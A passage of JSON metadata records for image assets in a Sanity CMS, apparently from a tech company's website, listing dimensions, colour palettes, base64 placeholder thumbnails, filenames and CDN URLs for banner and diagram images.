sanity.imagePaletteSwatch","background":"#b3b8d5","foreground":"#000","population":2.4,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3b8d5","foreground":"#000","population":2.4,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc689c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a47b6c","foreground":"#fff","population":0.87,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed2e3f","foreground":"#fff","population":0.41,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Delivery hero - Image 1 - final.png","path":"images/sczeoy4w/production/15fa9e766b8a2740e38fee6cf9f125629418f1b1-1200x628.png","sha1hash":"15fa9e766b8a2740e38fee6cf9f125629418f1b1","size":91273,"uploadId":"ANt0G3HOoUR0iECQyWbcRDlfciXRyrKL","url":"https://cdn.sanity.io/images/sczeoy4w/production/15fa9e766b8a2740e38fee6cf9f125629418f1b1-1200x628.png"} {"_createdAt":"2024-09-17T16:27:58Z","_id":"image-ff2c44cb5751d5b2c1ff4fb0148b674bc530d6c7-1200x630-png","_rev":"CUyO5Vcg9PEkEtNJJQt0Rn","_type":"sanity.imageAsset","_updatedAt":"2024-09-17T16:27:58Z","assetId":"ff2c44cb5751d5b2c1ff4fb0148b674bc530d6c7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBBDBQ06-caeM.~p9a-oM|IV9ks$w?NggP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAClklEQVQokSXLS1MSAQAA4P0Dhg9cGJ4SoCwB7oK8VBZYwOWx8toFpBQCARVSbFERGRQEAbUSB/TQOF609NCYNdWlqUMzHfoN/Zlm7Lt/QN8wyWBRA+zwICc6xIsx+UlQkGGNZDliWqRsKSav1NYvMHon03RVExXMsk5582GyasJORtU9gMGi+JI4BC9BSBaCVyFkXa7eUOlKiLGqNZ8YHdda2/246VaPtilfbnM5dXFYuLs83C93MLwD9LPDqokc7q3g3j0HUXUQ9ZnZJu47snmOMPep1XOhs16pTW8DwUq9+OL9Gf37c+Pvn97P++524c1D1uacvl13oOYJNgiy7fa3p+11pbYM68pmtOqwHLg9rRzd6vXqN5d7n97VfnxsfrttnTRbQD87JBvPWJ0l3Lvr8tc9gabL3zY5GnJNCYHzIWw578/Qic2ddu/g7LRZp4/317rHG53D4k5xF2CwQmL5osFcQO3bqKNswat2d8NOtPVo1WJco/2x88XI65VEgd5YWstm4sF8iqrQ8fLLdOr5KvAIpJi8KE8SF4wuCseWRFBOolgfg7dkqi2rMVcKJc5T8/X5aMzrIxwogemj7qmViC1N4R7MC/QNk/0gNcCODHKeDnJjQ7wkk58BhVmuOD+hKc4RtWRgL2jPmrWYAYYsOkXIrllwaogpZBIxA4Msks+hRI+fCUeTbFHyIadB4QpHTCv1r2zELea+0U3WVBAKS7kWRBSxPJkzQy6dAjM4ACYrKOGTkGxBqshwJSnm/yx4yIbOTPCrK/x92tZVQE75iEgrk5iVEKqAzIjWPk0CDJBkskmQNwcKFpj8+BAvweSlQWGWLcpL4QPr7Af//C8bca1QpSQiDJLY5VJcLnUiqpBet/wPS3nNpkANa8IAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#372f65","foreground":"#fff","population":0.56,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04246c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dbdfd2","foreground":"#000","population":8.39,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dbdfd2","foreground":"#000","population":8.39,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d9bc8a","foreground":"#000","population":1.61,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a8795f","foreground":"#fff","population":2.98,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4654bf","foreground":"#fff","population":4.71,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Join the Aiven Community Page.png","path":"images/sczeoy4w/production/ff2c44cb5751d5b2c1ff4fb0148b674bc530d6c7-1200x630.png","sha1hash":"ff2c44cb5751d5b2c1ff4fb0148b674bc530d6c7","size":634553,"uploadId":"IEdZi60aiLMgJjEjIYCKKxhzH10s4CJQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/ff2c44cb5751d5b2c1ff4fb0148b674bc530d6c7-1200x630.png"} {"_createdAt":"2024-09-17T16:43:49Z","_id":"image-76e076f661fbbc3f9cfea25d40bc8142007dfafb-1200x628-png","_rev":"16CRymk0UGIBxNLlKTCYUX","_type":"sanity.imageAsset","_updatedAt":"2024-09-17T16:43:49Z","assetId":"76e076f661fbbc3f9cfea25d40bc8142007dfafb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MLG7[0n40Lgg56}@jFIpf+NG00Xl}@eT=|","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACsUlEQVQokZWRa0iTARSGX9knRFTLS6XY5U8RJWkWBUWkZTcdC+qHZiQVoxVRlsvmTBIckiEqmvbHS1YG0Zpz2U1zpmtqRUsyy6ymbhVFdKGcm+77dG+sqP+98HDOn/OcAwfsu4urn4njJKiLBtVy8MgsUB8FFoeCNctBowI0p4Ddp8G+UvBNHfi1A/TYwbHnqCLRM+ACKQGs2AcCaA4Ic9cGUxMTQm1sOItWhLI8Jpw1iSE0pIfRpApju34mu8vC2VMXxsHWcDo7Quh6ENwVmL2lBj/2AJOaODBvQwCZpF4QLe6dfUg8MCdb0kWcEPPn6KSSZcfEqi1Z0qWdWZI5I8PXnKfz2c5l+Z5d14l9TQel/tvRHLbJ6OrE5FsLMHF0CaiJAbUrp47vi9jtTp1mG02f7vQclztGc2Y4vYWLXnsq1g16qxUOr0H9asSsdbotxUPux/Uut91gG+s1p3GofSqH2zEx0AJMZCwFT8aB2aunjO+PVLp3yY3uvfIujybEOnpqZrf37OL7nsr1D7w1SqvXcNAyciO7291WYnM/vvJwxG4wenvNSg51TKHT+kc4qV0NlqeBhcog6fDCSFEVlSAempck5s7fIhbMTZbKViSKtYptUn3KVqlJs9F3Lz/Z11m51dfbkOx7cTNB7L8TyXcPg/jxKSbftgHfAXAdwGSA1ftBfbzAM5sE1ioEXowPpilNxtZMga0agc+rZOy/GMxBk8BvdoE/egWKQ+BLI/jyKlyXDwNjAVkSwFQBdDSC5TvA86mgWQWatoPWTPBJAfgoH/x0G/zQCH6xgJID9A+DgQ8PNIGvGvDTVg2wfA/8gSsD5KwBM2NBbRxYtAosiwWrN4PX0kGjCmzTg7ZS+O0XwDctoKMNHGwHCyLAG0fhf/8Ev/N7y3/i9/v/1b99IL8A+1nHmkk/1TYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6f4d30","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5f2a10","foreground":"#fff","population":0.46,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f85008","foreground":"#fff","population":1.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9bdb2","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc8474","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac9c64","foreground":"#000","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f85008","foreground":"#fff","population":1.72,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Copy of TechDevrel Hero image template 1200x628 (3).png","path":"images/sczeoy4w/production/76e076f661fbbc3f9cfea25d40bc8142007dfafb-1200x628.png","sha1hash":"76e076f661fbbc3f9cfea25d40bc8142007dfafb","size":32954,"uploadId":"hSIVy8E5t7iTAvJIPHHfgcVvPcEI4h1d","url":"https://cdn.sanity.io/images/sczeoy4w/production/76e076f661fbbc3f9cfea25d40bc8142007dfafb-1200x628.png"} {"_createdAt":"2024-03-18T10:48:19Z","_id":"image-cd12b50604e9ed431920da479c8bab33cb3db105-2500x2500-png","_rev":"MXByqil29wvmyqa7TK7aQy","_type":"sanity.imageAsset","_updatedAt":"2024-03-18T10:48:19Z","assetId":"cd12b50604e9ed431920da479c8bab33cb3db105","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e8A0II036u|:4-7O#*=E5TxYSOs,s,NKWD+sI=Ot=vWB9ts8-VOFWW","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFRElEQVQ4jVWTe0xTVxzHD2yZc+u9F2rvuaWlpaW0hQ6BUhHasoGAQMFa7rkttCIVgYEiEDXiC0WRh6KCynzwVpdhIr6SzS3xj81sidk/+3t/OV2yP+acc3PTOJWe33ILPnaSb05y/vjk83scxGKCGF5EDE/eZbHo5jDZFi+Q3ni1dCBO7e/jBKmPxaSfxWRgIQflMLw4qDYEe4vKtwUPHz2vAQAUPSwW0fs8QQqesCwWmwV11fcmvXTXbFl722AN/4T1wTssJncYXrwrh8UkGoVK/FmXUntbCnbPjE9ecgPAW1Eoi8WYxSpRBi5hsdil1ZLfllpqwJ7VCDZ7M+gtYcC6GliiDQAnSMDwYjQKVRUkWesgFO65NX3uqgcA3o4CGZ6gxUofUvAiz2KyT2sM3bM7miEvvz3icLXTrNxWas/bRNMdG6jeXEdVidVUqQlEWEyoIbVuLhQ+8O30uSslrwwZTNA73CqkUIlqFpM+vSX8u7NwC5RU7IoUlHbSwtJOWrpqNy3y7KA5+R003dFCTbb1VDY2pobnQuGer6emrxQAQOxCyQTFvueRgVpOkAaNafUPVpRtB6+0j5Z5u6CkYifId/nqPSC/5+R3gGVpI1VpqyE5LTwXquu5MTF12SXDXhnGLC6XJ63nBDKUZAk/dK/YCh7fHlrm3Q1Fnh1Q7JmHFpRuB2tmE/C6GspiIgOfB+v2Xx+fvLT8jSkTtIjzykAji8kI1gf/tGY0gdw3h7MNsp1t4HC1gaugA3JdG8FoqQVOIFTBizLwWc3afdfGJmYd8zQkG8o7GE0Ki8kZTpAeKTUBkJvP62qiE9YaqiHdSsCZ7oUMcyWoNT7KYRFMtvDT6trui2fGLma+AsqGC7EyvDjB8OLfC6tBX66IRuOF/NQVEMh2QlWWG1zWIpphKgW3o/pJw7pdn02Mz6T/D7hgaGMxOcdi8ljuj7wWCzeY9JUgZbtgy0dZ0JFvh2ang7bn22FrRfE/vZvapi9MnU19XfI8TAYvZTGZYTF5wmARWCwbEpBLsxnL4WPnMhgoTYOeEpscOrbaBJO1OY+mOhvGrp0dMxcghNYr3wAyvJjJYjLLYvJ03uw1MDtlJewozIBJnxFOrTLBsMdMJ3zJML4m96+JbQ2fXJo8nVxvS0Q73ckLJWNJBjpYLF5lsfiMfcMwThDBaS2GwTIrfBFMgNlAIpyoSKF9pTbo9hU+7G/dMDx1clQvFVShZo933pAT/DJ4OYPJdQaT5y97yPAkOs08azEMeyxws46HL0MJdMpnoMcqrHBALHjQu7Hl0OjIqDYktqC2YD1CqsRqZEpbF8PwopsTyA2sD76Q/6zaEIrECRJleZGmGsrp9sIM+nkwgc4GEunZqqTIjD8JToXy7h9sbeo9Pjwu+Nd0oS2NHQgpNX5kSQ/HKlRioTJBumm2hakzfwN8kFkPKo0/ujYGXSXU5+bABUkPV6u1MO0zRC4GkuDT8LJ7x9vq9x4aHFM1tQ6grs27EYpTSyjRWB3L8MQdr5Zmk801vziya++n2mr+UGnIIxaLj436yn/X5uS+mK4yzF2Q9JGj5ZbI6dVmOF+X8+vE5tqdJ46cjD/ccwgd278/BnECQUsSSAyLiY4TiB9rxU69wdej0VUdiVdHf875JJ33cs0y51dDHss3fSvTbrW57T90FWf8OBTI/+54W7jxxNGTzLGBITTSN4CiQBZLsmksJ0iLOEFScIKkjE/wa5QavzE+IZCm1VXZvfYCV8eH2WUBhyvgy3Q1trhztnZWFrd3NTTm9h8cXbS3ewT17zuC/gMgMjqr9v/qFAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34315b","foreground":"#fff","population":0.44,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6f320b","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e76b0c","foreground":"#fff","population":0.95,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#abb5cb","foreground":"#000","population":0.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8b480","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a46667","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e76b0c","foreground":"#fff","population":0.95,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Ebook cover .png","path":"images/sczeoy4w/production/cd12b50604e9ed431920da479c8bab33cb3db105-2500x2500.png","sha1hash":"cd12b50604e9ed431920da479c8bab33cb3db105","size":792575,"uploadId":"rG3ju2JhWm7rxjL1xrt7MFRv3eK5lymr","url":"https://cdn.sanity.io/images/sczeoy4w/production/cd12b50604e9ed431920da479c8bab33cb3db105-2500x2500.png"} {"_createdAt":"2023-12-05T10:54:36Z","_id":"image-c29ffb10ec4fa18b9e30ab19435e2ecbc69b49c1-1200x628-png","_rev":"LDCVHimI6r4jzwxT3JLzLN","_type":"sanity.imageAsset","_updatedAt":"2023-12-05T10:54:36Z","assetId":"c29ffb10ec4fa18b9e30ab19435e2ecbc69b49c1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8C6NQ00=%^D05Xr$uO]VCPB4TkEavssx@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACrElEQVQokVXPW0+SAQDGcT5BWx7QRA0PiQnuVeFFIRnwmnlASFBM85CWZGZ4lgQUeD2ASLls81Cti06aW+uwtVoXbXVZ66Krumle1ef4t6zVunhuf3v+irTsNvKLuykVLlIu+hGME5SLU2iECY6WjpOvmeLo8QAF2hBqbQSNNkSPpZcnXQLvh6q4OZpgMviZs5c+YpR2UGSoznBc8GG2TVHXNEeDU0Zqkqmti2Kyx6ixLVJtW8ZyKoVJukaVOE+/1M3DHgOvL1vZDm0TTewzHPiK5HqBIjOvE8E4Ql1ziBbPAm1dSU53JGlqXaG+ZQWTfZFKs0y1LYHekkRbGcEtXSLZ5+GGr5eFwB6x1e+MzX2jof0VCmVeF5U1fuodYRxumdPeOM62lQPwpCNx8LDCFEMwLaAzLqOpiHBKGiN2wYc8NM7k1DPmkj/+gZl/wEbXPK72RVzeOK0dq7i8qYOHtsYV7M0prI3XqK1fwywt0+mdYS0wzXowSjj4jPn4PleufvmdnJH7O/lkc5gGZxSHewl3Z+oANEsyOkMYnRhBZ5QRLXE6ulIsRdfY2d5gd32TW3PbbE3fZ/b8faz2OygOZ3spLO2nXD9MueEKFTWTGGqvojcHKRGmySkaJ6tggiPFAQymKNMjSR5sbPHy6VPe7OzyLujnQ7fEbYeXppooijSlB3VeOyUlvRSVDZJ7bJAs9a8Nka0eIUs9+he0WOcJXo6xEU/y6OEez+895u1oH5+cJdy122gRZ1GkK90U53oo0/RyTOcjp+gCaap+0lSDZOYPo/wD5hTPIFaH6GwNca47hn9ii8DYJnLrMNdtTvzmAcz6JRSHMj2kZ7WhVJ1Bmd9DRm4f6aoBMvJ8/4FHimYoLJtFWxFGq5epNK8imlKc0MtYqyKIVQk0wjo/Ae2dl6eufc1CAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4570","foreground":"#fff","population":1.81,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04247c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b8b5c0","foreground":"#000","population":7.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8b5c0","foreground":"#000","population":7.62,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8089e8","foreground":"#fff","population":6.82,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ab7569","foreground":"#fff","population":0.76,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d9651a","foreground":"#fff","population":3.27,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Workshop-Netlify-Tibs 1200x628.png","path":"images/sczeoy4w/production/c29ffb10ec4fa18b9e30ab19435e2ecbc69b49c1-1200x628.png","sha1hash":"c29ffb10ec4fa18b9e30ab19435e2ecbc69b49c1","size":316335,"uploadId":"deElevimxL84oAmS6vyfkNags098CHFU","url":"https://cdn.sanity.io/images/sczeoy4w/production/c29ffb10ec4fa18b9e30ab19435e2ecbc69b49c1-1200x628.png"} {"_createdAt":"2023-12-04T09:57:19Z","_id":"image-2f62e2b96c7808f807a0766997af73e15ffd14ea-733x625-png","_rev":"HaVeB3hoWGS2EazIBZD5xP","_type":"sanity.imageAsset","_updatedAt":"2023-12-04T09:57:19Z","assetId":"2f62e2b96c7808f807a0766997af73e15ffd14ea","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1728,"height":625,"width":733},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAIAAABSJhvpAAAACXBIWXMAAAsTAAALEwEAmpwYAAACGUlEQVQ4jXWT0Y6dIBBA/f//a1+aXb26IgIiwsAMjHobdPe22aYnJwQMM8BMbD4uxMU1HadpUkoBwHEc53k+n886Xt48v2iWZbHWeu/jJymlhIillOP/nFeKGmyMcc59xn1BRPkbVL2/7/t+nmcNvlnX1V2sFxAA6w2QkCr4KWJdM3MNBoAIgCm9DsCEwYewBYxYiLnsLwuVO0WmsvPe3Jn2K1MtwvnkwtHHzfroU8HCtL+kSLCBdwE8EFJTn4d4v+GGmSNE8AETcS5c+GXGnGKMACnGTLnx3gfvEZGZ70oyc6ZamVLKznz7F+Wybm6MMUpra+3mffgDBKjCNQaIPqYAsc5DiDHlq5HNPE1yHKUYpRBfTlIqqfQ8q3maZiFmqeRspNRSTPMkFq3Be87ULF2rL82js8NgP4ZlGHQ/zP2H6gfVtXP7Prft3HWq2pr+4SeRtM7WNO7tlxt6J0YvJS4mrzYaY8dRPR5z181dW+O7Vj265doWZkl2yXbJUjQoRnSOAAriUfLBtZNu3YzWRqvF6G1dw7aB9wiQU2LEg/KeImvVxEmkEF6tPs8z531z4KwHDzEkSrlk5rzvf8kJWelmG3rYNiI69v3+dQpxWCFYIE8ZuACX+N3sU55U47o2LAYhMKaD6CDKkMBsoD1aoDXRGv8Vlw3HqbE/fyxvb65/wDSikqgkCOHa3rV96EZ4iGr/3fAY4P39NyvvyEwMwImSAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#393939","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#28608c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ea5d4e","foreground":"#fff","population":1.58,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0bfb3","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc947c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#608ca8","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ea5d4e","foreground":"#fff","population":1.58,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"authentication-method.png","path":"images/sczeoy4w/production/2f62e2b96c7808f807a0766997af73e15ffd14ea-733x625.png","sha1hash":"2f62e2b96c7808f807a0766997af73e15ffd14ea","size":24205,"uploadId":"ovU6j5cgVqFWaFTl5fIoGBbuV19WtTN7","url":"https://cdn.sanity.io/images/sczeoy4w/production/2f62e2b96c7808f807a0766997af73e15ffd14ea-733x625.png"} {"_createdAt":"2023-12-04T09:57:19Z","_id":"image-a0ce4892fb9fc92d0ec41b2f2a05895d45ee6ec2-1470x1027-png","_rev":"HaVeB3hoWGS2EazIBZD5zf","_type":"sanity.imageAsset","_updatedAt":"2023-12-04T09:57:19Z","assetId":"a0ce4892fb9fc92d0ec41b2f2a05895d45ee6ec2","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4313534566699124,"height":1027,"width":1470},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA/klEQVQokX2S23KEMAxD+f/vLb7EktPaAcpuu2j8wGR8gqV4Q4lkZibAcShGHBrXV0S35qWNS1lnZMHmZsMdPjD4qizNS1vfhshAglmwmO4uAnH6S+8fbSCRXCRJM9tFxM1gkZHzEWbWzDX2LNrMVH1E3fVMzh471tjLdue3UjlbcuZZb9q69x0Gj7qHtfJ6hQkkLs+dtnunbTCHB+MjHIg40wZhZqJqXu80sgqJT+a39XycFQ8IEd1FzaONn1neNO9wHxxFUitt89Hb1OaX497CY0/+D+x37GEGd7bhhz9fG7ZgNfsSVe/1fDS8PK8LqwCI6i42Rlvuw0/kD/wNhKY9tVbkerQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#098f59","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#087b4d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b2d0b8","foreground":"#000","population":0.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b2d0b8","foreground":"#000","population":0.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4fcec","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9ac4a8","foreground":"#000","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#10ee95","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"data-after-change.png","path":"images/sczeoy4w/production/a0ce4892fb9fc92d0ec41b2f2a05895d45ee6ec2-1470x1027.png","sha1hash":"a0ce4892fb9fc92d0ec41b2f2a05895d45ee6ec2","size":41309,"uploadId":"Ff3cx5HK29HVL2KpZICzgKsuCGdOOisU","url":"https://cdn.sanity.io/images/sczeoy4w/production/a0ce4892fb9fc92d0ec41b2f2a05895d45ee6ec2-1470x1027.png"} {"_createdAt":"2023-12-04T09:57:19Z","_id":"image-e29065a9fa5c12af2310c37c1bfa354a6942501e-724x886-png","_rev":"EtJHT7RDM7ZMQ8O4DN11kU","_type":"sanity.imageAsset","_updatedAt":"2023-12-04T09:57:19Z","assetId":"e29065a9fa5c12af2310c37c1bfa354a6942501e","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.8171557562076749,"height":886,"width":724},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAYCAIAAAB1KUohAAAACXBIWXMAAAsTAAALEwEAmpwYAAACzUlEQVQ4jW1U687bNgz1+79Xgf1YNwz71q0dCgRLE0uyrBtFSrIsp6CU5Eu3HSSAbZimeC6cAMA6Py/rRWptrPMMa6011joPAAFCGH8AIiodtdbW2mSdWxY9CzkLqfVqnrDWeHAhBogxIiJGRCJKHaWUfd8nY4xSSohZKWmtDQ8ARIgESPgoSDmnzCilbNvGxdbaXiyUUsYYN+Cd836MwBfO+xAcoAeK/VvjE1MIwRijtTbGeO8gBG/MOs/qfNaXb1aKYNbgfYAYMAOVlLltrZU755yJCBFTJ6NuW7J2+fz5/MvPl18/mr8+JSVrypVfb3s7WjuemPZ9H59pj8dbjOZ0uvzxdnn7ff36d7Hm2Pfj/zBx587eo7jttWZEDAG9TxH2Uu7t2r1v6+Bi59wYGABYkC4KsS6IMSLLRJESdspzp2qwVWud9LLM8/V6vUohpJRKSaXUVchvV1ZeKaX0Kle3GKY9dCBiznnbtrvOUkq9LP0Iqzb2y2X97bT8I1ZWHgAiQuwOIXo6hB3mvV87gvcxxpSSp/x2jR++utMClFLd2YmvOI7j1jERUYxxDJxSqrVi2f+U9NMpnFfM70TeC46X6ymlNFga56l1z9u+QDmb5DBvrO7Rjtvj/R/ADhvH9t4TUc7MKFKOd1dnKjVtbduPF3c8dI4xDjsDADfvxRDJuR5M66wHCwjMF6XEhI1sMdullJGZEZTWWt1bpKS1kVKKWcyCNVRKrevaU25HfhBxaq3tHa21QUc7GhLpRQsh5uGB61UIMYQ0LKa2xsQYp3+NcbvdWmuEqDvW9X098Awdtnfm4mfnH7Kxbdj3xsj9K0rHSOWEiJx4zrsfviul5MK5zeWe21eMB33GG9uTiREzO1TrcTZmOKCPLzvoHXmwe7TGUvXG1nffx8j7zkN0gGzOfpD/gqUZxx72JKKhVq2VEu+WsVjuv4HnbZ/+O/nVX/Oy/k4QAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#66696a","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#356f90","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1d7ac6","foreground":"#fff","population":0.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccc9b4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#66c6fc","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7494a4","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d7ac6","foreground":"#fff","population":0.24,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"connectivity-method.png","path":"images/sczeoy4w/production/e29065a9fa5c12af2310c37c1bfa354a6942501e-724x886.png","sha1hash":"e29065a9fa5c12af2310c37c1bfa354a6942501e","size":42590,"uploadId":"w0q0acwW4Scfy707ICem7viVOTN6mH7n","url":"https://cdn.sanity.io/images/sczeoy4w/production/e29065a9fa5c12af2310c37c1bfa354a6942501e-724x886.png"} {"_createdAt":"2023-12-04T09:57:20Z","_id":"image-f2af835dd229099bb87c33d37ad1c98b9103fc69-1704x346-png","_rev":"YBdQEiAepkqcSwgPIQ1wfv","_type":"sanity.imageAsset","_updatedAt":"2023-12-04T09:57:20Z","assetId":"f2af835dd229099bb87c33d37ad1c98b9103fc69","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.92485549132948,"height":346,"width":1704},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAIAAAABPYjBAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAlUlEQVQImU2OSQ6DMBAE+f87swGJjfGMZ2s7EUKJUteWumq6LPm65Nua78/tWWhvJo5A/zF6H3+8v4wxptua1lTyXrdKlUXMPRAA0AFEhEszZiFu1Ezt99X7mFLeiVhUWIRF1SJweM8d7m3LZZ7TY3nNLyq1Bw7pYX5PlVhV3b2JUlMWU/MAzsIOCFFNec8blWpi/+Ufq4Hon9GmbeQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6d312b","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5e2b25","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7a8187","foreground":"#fff","population":0.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9c8d5","foreground":"#000","population":0.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f49484","foreground":"#000","pop